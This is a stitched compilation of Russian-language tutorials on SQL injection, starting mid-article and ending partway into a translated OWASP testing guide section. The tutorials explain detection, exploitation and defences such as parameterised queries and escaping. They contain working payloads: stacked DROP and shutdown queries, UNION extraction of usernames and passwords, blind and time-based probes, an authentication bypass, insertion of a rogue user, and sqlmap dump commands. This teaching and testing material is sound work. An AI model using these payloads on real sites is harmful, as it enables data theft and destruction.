Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

        #Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –

    

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

        ' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились
    

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

        #MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END;
    

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

        TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND 
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND 
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78 
#дальнейший перебор определит точное значение 
    

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

        SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15'
    

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?

Информационная безопасность, Тестирование веб-сервисов


Рекомендация: подборка платных и бесплатных курсов Smm — https://katalog-kursov.ru/

В прошлой статье мы уже рассматривали тему SQL-инъекций.

SQL-инъекции’ union select null,null,null —

Современные веб-приложения имеют сейчас довольно сложную структуру. Вместе с этим, для хранения инфо…

habr.com

Предлагаем снова остановиться на этой проблеме, так как этот тип атак наиболее распространенный и один из самых опасных. В данной статье мы расскажем о способах выявления SQLi и предложим подробную инструкцию по их ликвидации.

SQL-инъекция — это попытка злоумышленника изменить запрос к базе данных для ее компрометации.

Возможные SQLi:

  • Соблюдение условия WHERE к истинному результату при любых значениях параметров.

  • Объединение запросов через оператор UNION.

  • Комментирование части запроса.

Для того, чтобы обнаружить SQL-инъекции, тестировщику необходимо понимать функциональные требования, триггеры, бизнес-логику, основной сценарий веб-приложения и т. д.

Статья носит информационный характер. Не нарушайте законодательство.

Ручной поиск

Шаг 1.

Во все параметры подставляем спецсимволы (кавычки, двойные кавычки и т.д. ). В первую очередь проверяются параметры, принимающие в качестве аргументов пользовательский ввод. Если при передаче сервер вернул ошибку, то есть подозрение на наличие инъекции. Когда веб-приложение не отреагировало на спецсимволы, то возможны 2 причины:

  • SQL-инъекции нет.

  • Отключен вывод ошибок на веб-сервере.

Пример:

http://example.com/?id=1’

http://example.com/?id=1”

http://example.com/?id=1’)

и т. д.

Шаг 2.

Если инъекция обнаружена, то используем метод UNION-Based, который применяется, если SQL-инъекция возникает в запросе с использованием оператора SELECT. Благодаря такому методу можно объединить два запроса в один набор результатов. Особенность его заключается в том, что он будет работать только в случае, если количество столбцов, возвращаемых первым запросом, будет равно их количеству, возвращаемых во втором запросе. Для определения количества столбцов можно воспользоваться 3 методами:

  1. Добавление столбца при каждой итерации проверки. Это не совсем удобно, так как их может быть бесконечное количество.

    Пример:

    ?id=1′ union select null —

    ?id=1′ union select null,null —

    ?id=1′ union select null,null,null —

и т. д.

Поиск количества столбцов

В этом случае применяем значение NULL, так как данные в каждом столбце должны быть совместимы между исходным и внедренным запросами. Поскольку NULL может быть преобразован во все часто применяемые типы данных, то его использование увеличивает вероятность успешного выполнения полезной нагрузки при правильном подсчете столбцов.

2. Использование оператора ORDER BY для определения количества столбцов. В данном случае нужно опираться на появление ошибки о несоответствии количества столбцов в запросе. Стоит начать с большого количества столбцов и уменьшать их вдвое при каждой итерации проверки. Если количество не будет соответствовать фактическому значению, то вернется ошибка:

?id=1′ order by 20 — ?id=1′ order by 10 — ?id=1′ order by 5 —

и т.д.

Проверка с помощью order by

3. Применение оператора GROUP BY, который основывается на обратном методе проверки, в отличие от ORDER BY.

Пример:

?id=1′ group by 5 —

?id=1′ group by 10 —

?id=1′ group by 20 —

и т. д.

Теперь, когда мы знаем, сколько столбцов имеет текущая таблица, используем UNION SELECT, чтобы увидеть, какой столбец уязвим. Уязвимым столбцом будет являться тот, данные которого отображаются на странице.

Пример:

?id=1’ union select 1,2,3,4 —

Когда уязвимый столбец найден, вместо его названия можем указать полезные команды для сбора информации о СУБД и получения данных из интересующих таблиц:

?id=1’ union select 1,null,version(),null — версия СУБД

?id=1’ union select 1,null,database(),null — текущая база данных

?id=1’ union select 1,null,@@port,null — порт, используемый СУБД

?id=1’ union select 1,null,user(),null — пользователь СУБД

?id=1’ union select 1,null,table_name,null from information_schema.tables – список таблиц с применением information_schema.

Шаг 3.

Если наличие инъекции при подстановке спецсимволов не подтвердилось, то воспользуемся одной из техник поиска слепых инъекций:

  • Boolean Based SQLi

Такой метод эксплуатации слепых SQL-инъекций, при котором информация извлекается исходя из реакции на условные выражения. Атака называется «слепой» в тех случаях, когда нет видимой реакции от веб-приложения. Например, при подстановке кавычек в потенциально уязвимый параметр, ошибка, связанная с нарушением логики SQL-запроса, не появляется, а страница отображается без изменений.

Пример:

?id=1 and 1=1

В этом случае содержимое страницы останется неизменным, потому что оба условия в операторе SQL истинные. Если изменить условие на 1 = 2, то ничего не возвращается, так как 1 не равно 2, а должны выполняться оба условия.

?id=1 and 1=2

  • Time Based SQL-injection 

Существует метод, при котором используются функции СУБД (например, SLEEP), вызывающие задержку ответа от базы данных. Такой способ также применяется для эксплуатации слепых инъекций, когда отсутствует какой-либо вывод информации, в том числе в случаях, описанных в Boolean Based SQL-injection.

Пример:

?id=1 and sleep(10)

Функция sleep() выполнится на стороне СУБД при условии обращения к записи с id=1 соответствующей таблицы. Возможно использование функций BENCHMARK или WAITFOR.

Пример:

BENCHMARK(5000000,ENCODE(‘MSG’,’by 5 seconds’));

id=1′ waitfor delay ’00:00:10′ (MS-SQL);

pg_sleep() (PostgreSQL).

  • Stacked Query Based SQL-injections

В SQL точка с запятой указывает на конец запроса, после которого можно начать новый. Это позволяет выполнять несколько операторов в одном вызове сервера базы данных. В отличие от UNION-Based, который ограничен операторами SELECT, составные запросы могут использоваться для выполнения любой процедуры SQL. Стоит также отметить, что не все БД поддерживают эту функцию. Например, при использовании MySQL и SQLite3, нельзя воспользоваться этими операторами запросов, но в PostrgeSQL такая возможность есть.

Пример:

?id=1; delete from table_name

Автоматизированный анализ

SQLmap — мощный кроссплатформенный консольный инструмент для поиска, эксплуатации SQL-инъекций любого вида и сложности, написанный на языке Python.

Основные функции SQLmap:

  • полная поддержка системы управления базами данных (MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB) и прямое подключение к ним;

  • автоматическое распознавание форматов хешей паролей и предложение их подбора с использованием атаки по словарю;

  • поддержка выполнения произвольных команд на ОС сервера БД, получение их стандартного вывода при использовании MySQL, PostgreSQL или Microsoft SQL Server и многое другое.

Основные ключи, которые используют при работе с MySQL : —dbs, -D,T,C, —level,—risk, —random-agent.

Пример:

# sqlmap -u http://example.com/?id=1 —dbs

# sqlmap -u http://example.com/?id=1 -D test_db -T test_tables –dump

Дамп пользовательской таблицы

JSQ injection — еще один кроссплатформенный инструмент для выявления SQL-уязвимостей, написанный на языке Java и имеющий графический интерфейс. Этот инструмент поддерживает работу с 33 базами данных (Access, Altibase, Firebird, MemSQL, MySQL, Oracle, PostgreSQL, Presto, SQLite, SQL Server и т.д). По набору функций jSQL injection собрал в себе средство поиска и эксплуатации SQLi, функционал Dirb и Hashcat:

  • поддержка различных видов инъекций (стандартные, error-based, stacked-based, blind и time-based);

  • создание и внедрение веб-шелла и SQL-шелла;

  • аутентификация с использованием Basic, Digest, NTLM и Kerberos;

  • прокси-соединение по HTTP, SOCKS4 и SOCKS5;

  • кодирование и декодирование текста;

  • перебор паролей по хешу и др.

Пример:

Просмотр содержимого таблиц

SQLmap и jSQL injection поддерживают поиск уязвимостей в cookie. За счет более обширной базы пейлоадов, использование SQLmap при выявлении уязвимостей будет приносить положительный результат намного чаще.

Защита от SQL-инъекций

Встречаются SQL-инъекции в числовом и строковом параметрах в запросах, использующих оператор SELECT, которые являются самыми распространенными. Поэтому проверять нужно всё: числа, строки, даты и другие данные в специальных форматах.

1) Числа

Функция is_numeric(n) используется для проверки переменной на числовое значение, которая вернёт true, если параметр n — число, а в противном случае — false. Также переопределить тип возможно вручную.

Пример:

if (isset($_GET[‘id’])){ $id = $_GET[‘id’];

if ( is_numeric($id) == true){ … }

2) Строки

Компрометации через SQL-конструкции происходят и по причине нахождения в строках небезопасных кавычек и других специальных символов. Для предотвращения такой угрозы необходимо использовать функцию addslashes($str), которая возвращает строку $str с добавленным обратным слешем () перед каждым специальным символом. Данный процесс называется экранированием. Для этого в PHP используют две функции:

mysqli($str) и mysqli_real_escape_string($str).

3) Параметризированные запросы (PDO)

PDO заставляют разработчика сначала определить весь код SQL, а затем передать каждый параметр в запрос. Это позволяет БД различать код и данные независимо от того, что вводится пользователем. Подготовленные операторы гарантируют, что злоумышленник не сможет изменить логику запроса, даже, если атакующий вставляет команды SQL. Правильно параметризированный запрос не позволит базе данных обработать информацию о пользователе, как часть SQL-запроса. Для обхода аутентификации злоумышленник может использовать конструкцию:

аdmin’ or ‘1’=’1

При использовании PDO сначала передается запрос в БД, а потом в него подставляются данные из переменных. Таким образом, за имя пользователя будет приниматься вся строка admin’ or ‘1’=’1, введенная им, что не позволит хакеру проэксплуатировать SQL-инъекцию.

Пример кода:

if (isset($_GET['id'])){

$id = $_GET['id'];

if ( is_numeric($id) == true){ 

try{

$dbh = new PDO('mysql:host=localhost;dbname=sql_injection_example', 'dbuser', 'dbpasswd');

 $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); 

$q = "SELECT username FROM users WHERE id = :id"; 

$sth = $dbh->prepare($q); $sth->bindParam(':id', $id); 

$sth->execute(); $sth->setFetchMode(PDO::FETCH_ASSOC); 

$result = $sth->fetchColumn(); print( htmlentities($result) ); … 

4) Хранимые процедуры

Объекты базы данных требуют, чтобы разработчик сгруппировал один или несколько операторов SQL в логическую единицу для создания плана выполнения. Последующие исполнения позволяют автоматически параметризовать операторы. То есть, это тип кода, который можно сохранить и многократно использовать в последующем. Когда необходимо выполнить запрос, вместо того, чтобы писать его, можно будет вызвать хранимую процедуру.

5) Использование WAF

Nemesida WAF — универсальное решение, позволяющее блокировать попытки эксплуатации различных типов уязвимостей, в том числе и SQL-инъекции. В основе своей работы Nemesida WAF использует машинное обучение, способное более точно и с минимальным количеством ложных срабатываний, противодействовать атакам на веб-приложение вне зависимости от языка разработки и используемых фреймворков. Также доступна бесплатная версия Nemesida WAF Free

В одной из статей мы рассматривали способы тестирования Nemesida WAF различными инструментами.

Я твой WAF payload шатал

Пару недель назад команда Vulners опубликовала сравнение нескольких популярных WAF. Поймав себя на м…

habr.com

6) Принцип наименьших привилегий

Нельзя подключать веб-приложения к базе данных, используя учетную запись с привилегированным доступом (только в случае крайней необходимости), так как злоумышленники могут получить доступ ко всей системе. Это позволит минимизировать ущерб от проэксплуатированной уязвимости при ее наличии.

Резюмируя написанное выше, приведем несколько рекомендаций по защите веб-приложений от SQL-инъекций:

  • обрабатывайте ввод отдельно и формируйте запрос из безопасных значений;

  • создавайте «белые» списки;

  • регулярно устанавливайте обновления;

  • удаляйте неиспользуемый функционал;

  • задавайте конкретные значения названиям таблиц, полей и базам;

  • периодически проводите анализ защищенности веб-приложений вручную и с помощью инструментов автоматизации (например, Wapiti)

  • используйте средства защиты веб-приложений (WAF).

Следует помнить, что любая успешная атака с использованием SQL-инъекций может привести к утечке персональных данных (данные кредитной карты, личная информация пользователя и др.), несанкционированному доступу к серверу. Все это может повлечь необратимые негативные последствия. Поэтому будьте в курсе основных тенденций в области информационной безопасности, следуйте приведенным выше рекомендациям, оставайтесь здоровыми и защищёнными.

SQL-инъекция (англ. SQL injection) — распространённая атака на веб-сайты и приложения,
работающие с БД. Атака возможна в том случае, когда входные
данные, получаемые от пользователя, некорректно или недостаточно фильтруются перед использованием
в запросах к БД. Это позволяет внедрять во входные данные произвольный SQL-код, меняющий логику
работы запроса.

В зависимости от типа используемой СУБД
и особенностей уязвимого приложения, SQL-инъекция может дать возможность атакующему выполнить
произвольный запрос к БД, получить возможность чтения и/или записи локальных файлов или даже
выполнения произвольных команд на атакуемом сервере.

Атака может быть реализована против любой СУБД, поддерживающей SQL: MySQL, PostgreSQL, Oracle
и т.д.

Далее рассмотрим ряд уязвимостей, приводящих к возможности реализации SQL-инъекции.

Некорректная обработка входных параметров

В случае, когда входные данные некорректно или недостаточно фильтруются, они могут содержать
служебные символы и SQL-код. Вследствие этого злоумышленник может передать специально сформированную
строку, которая будет подставлена в запрос к БД.

Пример уязвимого кода на PHP:

$username = $_GET['username'];
$result = mysql_query("SELECT * FROM users WHERE username = '$username'");

Этот код получает значение параметра

username

, переданное пользователем. Затем это значение
непосредственно используется для запроса к БД без какой-либо дополнительной обработки.

Для реализации SQL-инъекции в данном случае достаточно передать в качестве username следующую
строку: ' OR '1' = '1. При этом выражение в условии запроса примет вид:
username = '' OR '1' = '1'. Очевидно, что оно всегда верно, поскольку всегда верно
выражение '1' = '1'. Таким образом, запрос вернёт все строки из таблицы users.

Демонстрация

SELECT * FROM users WHERE username = ''

Простейшей проверкой на недостаточную фильтрацию входных параметров служит подстановке символа одинарной
(реже двойной или обратной) кавычки. Если входные данные обрабатываются некорректно, то такая подстановка
гарантированно приведёт к ошибке, поскольку не будет обнаружено закрывающей кавычки. Аномальным
поведением считается такое, при котором страницы, получаемые до и после подстановки кавычек, различаются,
если при этом не получена страница с информацией о неверном формате параметров.

Следует отметить, что приложение может получать входные данные не только из пользовательских форм, но и из
идентификаторов cookie, заголовков протокола HTTP и
других источников. Кроме того, параметры могут быть переданы посредством «невидимых» (type=»hidden»)
полей в веб-формах. Для просмотра данных, передаваемых от браузера на сервер и обратно, можно воспользоваться
анализатором трафика или специализированные отладочным средством (например, Firebug).

Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это
позволяют злоумышленнику получить несанкционированный доступ к данным в таблицах, не используемых в
исходном запросе.

$id = $_GET['id'];
$result = mysql_query("SELECT author, title, text FROM news WHERE id = $id");

Приведённый выше код предназначен для отображения новости с заданным

id

из таблицы

news

.

Если передать в качестве id строку -1 UNION ALL SELECT username, password, NULL FROM users,
то запрос не вернёт ни одной строки из таблицы news, поскольку строки с идентификатором -1 заведомо
не существует. При этом посредством оператора UNION будут выбраны все строки из таблицы users.

Демонстрация

SELECT author, title, text FROM news WHERE id = 

Для успешного внедрения оператора UNION количество столбцов в выборках должно совпадать. Если
количество столбцов в первой (исходной) выборке больше, то вторую необходимо дополнить соответствующим
количеством констант (например, NULL).

Слепая SQL-инъекция

SQL-инъекция называется слепой (англ. blind SQL injection) в том случае, когда результат
выполнения запроса недоступен злоумышленнику. При этом уязвимый веб-сайт по-разному реагирует на различные
логические выражения, подставляемые в уязвимый параметр. Таким образом, злоумышленник может подобрать
значения некоторых параметров (версия СУБД, текущее имя и права пользователя и т. д.), подставляя
в запрос соответствующие логические выражения.

Рассмотрим следующий код:

$id = $_GET['id'];
$result = mysql_query("SELECT * FROM catalog WHERE id = $id");
if (mysql_num_rows($result) != 0)
	// Вывод описания товара…
else
	echo "Товар не найден!";

Его задача — вывести описание товара из таблицы

catalog

по указанному

id

. В случае, если
товара с заданным

id

не существует, будет выведено соответствующее сообшение.

Если в качестве id передать строку 1 AND 1 = 1, то условие запроса не изменится,
поскольку выражение 1 = 1 всегда истинно. Если товар с id равным 1 существует, то
в ответ будет получена страница с его описанием. Если затем в качестве id передать строку
1 AND 1 = 2 с заведомо ложным условием, то будет получено сообщение о том, что запрошенный
товар не существует. Таким образом, можно подобрать значения некоторых параметров БД, например, условие
SUBSTR(@@version, 1, 1) = 5 будет верным только если версия СУБД равна 5.

Особенности реализации SQL-инъекций

Иногда злоумышленник может провести атаку, но не может видеть более одной колонки результатов. В таком случае
можно объединить несколько строк в одну при помощи конкатенации:

SELECT CONCAT(username, ':', password) FROM users

Различные реализации СУБД могут предоставлять другие способы объединения строк. За подробной информацией
обращайтесь к документации по СУБД.

В некоторых случаях запрос, подверженный SQL-инъекции, имеет структуру, усложняющую или препятствующую
внедрению операторов SQL. Например, следующий код:

$author_id = $_GET['author_id'];
$result = mysql_query("SELECT author, title, text FROM news WHERE author = $author_id ORDER BY date DESC LIMIT 20");

выбирает строки с указанным идентификатором

author_id

, сортирует их по дате и выводит 20 первых
записей. Простая подстановка оператора

UNION

вместо

author_id

приведёт к ошибке из-за
оставшейся части запроса: ORDER BY date DESC LIMIT 20. В этом случае часть запроса необходимо
экранировать при помощи символов комментария (

,

/*

или

#

в зависимости от СУБД).
Часть строки, отделённая этими символами, будет проигнорирована и запрос успешно выполнится.

При этом важно помнить, что все скобки и кавычки должны быть закрыты, чтобы не вызывать ошибок при выполнении
запроса. Если часть запроса экранируется, то соответствующие символы нужно передавать в явном виде.

Для разделения команд в языке SQL используется символ ; (точка с запятой). Внедряя этот символ в
запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе. Это позволяет выполнять
операции, отличные от применяемых в исходном запросе, например, вставлять, изменять или удалять строки.

$id = $_GET['id'];
$result = mysql_query("SELECT * FROM news WHERE id = $id");

Передав в качестве

id

строку -1; INSERT INTO users(username, password) VALUES ('foo', 'bar'),
злоумышленник может несанкционированно вставить новую строку в таблицу

users

.

Не все языки программирования и СУБД поддерживают эту возможность. За подробной информацией обращайтесь к
документации по СУБД.

Предотвращение SQL-инъекций

Наиболее общими способами предотвращения SQL-инъекций являются фильтрация, экранирование
и проверка всех входных данных. В языке PHP для этого могут применяться такие функции, как
addslashes() и
mysql_real_escape_string().

addslashes() экранирует специальные символы, добавляя к ним символ (обратный слэш).
Таким образом, символ ‘ заменяется на ‘, » — на » и т.д. Это
позволяет избежать внедрения SQL-кода только в том случае, когда экранируемая строка в запросе заключена
в кавычки.

mysql_real_escape_string() работает аналогично addslashes(), но учитывает особенности
диалекта MySQL, экранируя некоторые дополнительные символы. Как и addslashes(), она работает
только в случае, когда экранируемая строка заключена в кавычки.

Функции, аналогичные

mysql_real_escape_string()

, реализованы и для других СУБД. За подробной
информацией обращайтесь к руководству по PHP.

Кроме того, в языке PHP существует ряд функций, позволяющих привести значение параметра к определённому
типу. Например, функции intval() и
floatval() позволяют преобразовать
переменную к целому числу и числу с плавающей запятой соответственно. Это делает невозможным подстановку
произвольных строк в запрос к БД.

Дополнительные материалы

  1. Подборка материалов по SQL Injection
  2. SQL Injection Wiki

Время на прочтение
4 мин

Количество просмотров 309K

SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.

Как вычислить уязвимость, позволяющую внедрять SQL инъекции?

Довольно легко. Например, есть тестовый сайт test.ru. На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1. Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).

Изменяем GET запрос на ?detail=1' или ?detail=1". Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1′ или на test.ru/?detail=1″.

Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости
image

Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.

Практика. Варианты взлома сайта с уязвимостью на SQL внедрения

Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации
image

При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.
image

Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

Тестирую следующие варианты:
test.ru/?detail=4+OR+1
test.ru/?detail=4+—
test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости
image

Разбор примера изнутри

За получение детального описания новости отвечает блок кода:
$detail_id=$_GET['detail'];
$zapros="SELECT * FROM `$table_news` WHERE `public`='1' AND `id`=$detail_id ORDER BY `position` DESC";

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`=’$detail_id’ (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`='1' AND `id`=4 OR 1 ORDER BY `position` DESC

становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4.

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`='1' AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC. К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.

Числа

Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):
$id=(int)$_GET['id_news'];

Строки

Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем () перед каждым специальным символом. Данный процесс называется экранизацией.

$a="пример текста с апострофом ' ";
echo addslashes($a); //будет выведено: пример текста с апострофом '

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: x00, n, r, , ', " и x1a.

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш () и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

if(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
else
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

layout title tags

col-document

WSTG — Latest

WSTG

{% include breadcrumb.html %}

Тестирование SQL-инъекций

ID
WSTG-INPV-05

Обзор

Тестирование SQL-инъекций проверяет, возможно ли ввести данные в приложение таким образом, чтобы оно выполняло непредусмотренный разработчиком SQL-запрос к базе данных. Тестировщики обнаруживают уязвимость SQL-инъекции, если приложение использует ввод пользователя для создания SQL-запросов без надлежащей проверки входных данных. Успешное использование уязвимости этого класса позволяет неавторизованному пользователю получать доступ к информации в базе данных или манипулировать ими.

Атака SQL-инъекции состоит из вставки или «инъекции» частичного, или полного SQL-запроса через ввод данных или их передачу от клиента (браузера) в web-приложение. Успешная атака SQL-инъекции может читать конфиденциальные данные из базы данных, изменять данные в ней (вставлять/обновлять/удалять), выполнять административные операции (например, выключение СУБД), восстанавливать содержимое файла, существующего в файловой системе СУБД, или записывать файлы в файловую систему, и, в некоторых случаях давать команды операционной системе. Атаки SQL-инъекции — тип атаки инъекции, при котором команды SQL вводятся в плоскость данных, чтобы повлиять на выполнение предопределённых SQL-команд.

Как правило, web-приложения составляют SQL-выражения, написанные программистами, смешивая с данными, предоставляемыми пользователем. Пример:

select title, text from news where id=$id

В приведённом выше примере переменная $id содержит данные, предоставляемые пользователем, в то время как остальная часть SQL является статичной, предоставленной программистом; что делает SQL-запрос динамическим.

Из-за особенностей его структуры, пользователь может ввести модифицированные входные данные, пытаясь заставить исходный SQL-запрос выполнить дальнейшие действия по своему выбору. Пример ниже иллюстрирует введённые пользователем данные «10 or 1=1», меняет логику SQL-запроса, модифицировав предложение WHERE, где добавляется условие «or 1=1».

select title, text from news where id=10 or 1=1

Атаки SQL-инъекций можно разделить на следующие три класса:

  • Классические: данные извлекаются с использованием того же канала, который используется для ввода SQL-кода. Это самый простой вид атаки, при котором полученные данные представляются непосредственно на web-странице приложения.
  • Внеполосные: данные извлекаются по другому каналу (например, формируется электронное письмо с результатами запроса и отправляется тестировщику).
  • Косвенные или слепые: фактической передачи данных нет, но тестировщик способен восстановить информацию, отправляя определённые запросы и наблюдая за результирующим поведением сервера БД.

Успешная SQL-инъекция требует, чтобы злоумышленник создал синтаксически правильный SQL-запрос. Если приложение возвращает сообщение об ошибке, вызванное неправильным запросом, то злоумышленнику может оказаться проще восстановить логику исходного запроса и, следовательно, понять, как правильно выполнить инъекцию. Однако, если приложение скрывает детали ошибки, то тестировщик должен иметь возможность реконструировать логику исходного запроса.

Существует пять распространённых методов эксплуатации таких уязвимостей. Также эти методы иногда можно использовать в сочетаниях (например, оператор union с внеполосной SQL-инъекцией):

  • Оператор Union: может использоваться, когда SQL-инъекция встроена в выражение SELECT, что позволяет объединить два запроса в один результат или набор результатов.
  • Логический вывод: использует логические условия, чтобы проверить, являются ли определённые условия истинными или ложными.
  • Основанный на ошибках: этот метод заставляет базу данных выдавать ошибку, предоставляя злоумышленнику или тестировщику информацию, на основе которой можно усовершенствовать инъекцию.
  • Внеполосный: метод, используемый для извлечения данных по другому каналу (например, установить HTTP-соединение для отправки результатов на web-сервер).
  • Задержка по времени: использует команды базы данных (например, sleep) для задержки ответов в условных запросах. Это полезно, когда у злоумышленника нет ответа от приложения (результата, вывода или ошибки).

Задачи тестирования

  • Найти точки инъекции SQL.
  • Оценить воздействие инъекции и уровень доступа, который может быть получен с её помощью.

Как тестировать

Методы обнаружения

Первый шаг в этом тесте — понять, когда приложение взаимодействует с сервером БД для доступа к данным. Типичные примеры случаев, когда приложению необходимо общаться с БД, включают:

  • Формы аутентификации: когда аутентификация выполняется с помощью web-формы, есть вероятность, что учётные данные пользователя проверяются по базе данных, которая содержит все имена пользователей и пароли (или хэши паролей).
  • Поисковые системы: введённая пользователем строка может быть использована в SQL-запросе, извлекающем все соответствующие её условиям записи из базы данных.
  • Сайты электронной коммерции: товары, услуги и их характеристики (цена, описание, доступность и т.д.), скорее всего, будут храниться в базе данных.

